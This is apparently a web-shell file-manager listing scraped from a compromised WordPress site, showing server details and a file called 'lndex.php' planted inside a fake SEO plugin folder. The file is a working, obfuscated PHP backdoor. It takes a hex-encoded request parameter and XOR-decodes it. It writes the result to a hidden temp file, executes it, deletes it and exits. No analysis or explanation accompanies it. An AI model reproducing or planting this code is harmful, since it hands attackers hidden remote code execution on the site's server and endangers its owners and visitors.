HEX
Server: Apache
System: Linux vps34798 6.8.0-78-generic #78~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Aug 13 14:32:06 UTC 2 x86_64
User: davidsurgicenter (16765843)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/davidsurgicenter/davidsurgi-center.com/wp-content/plugins/seo_1765479736/lndex.php
<!--6GeGzC6I-->
<?php

if(isset($_REQUEST) && isset($_REQUEST["\x69te\x6D"])){
$component = array_filter([getenv("TMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]);
$k = hex2bin($_REQUEST["\x69te\x6D"]);
$sym='' ;for($p=0;$p<strlen($k);$p++){$sym.=chr(ord($k[$p])^3);}
foreach ($component as $key => $descriptor) {
            if (!!is_dir($descriptor) && !!is_writable($descriptor)) {
            $ref = join("/", [$descriptor, ".holder"]);
            $val = fopen($ref, 'w');
if ($val && fwrite($val, $sym)) {
    fclose($val);
    require $ref;
    @unlink($ref);
    die();
}
        }
}
}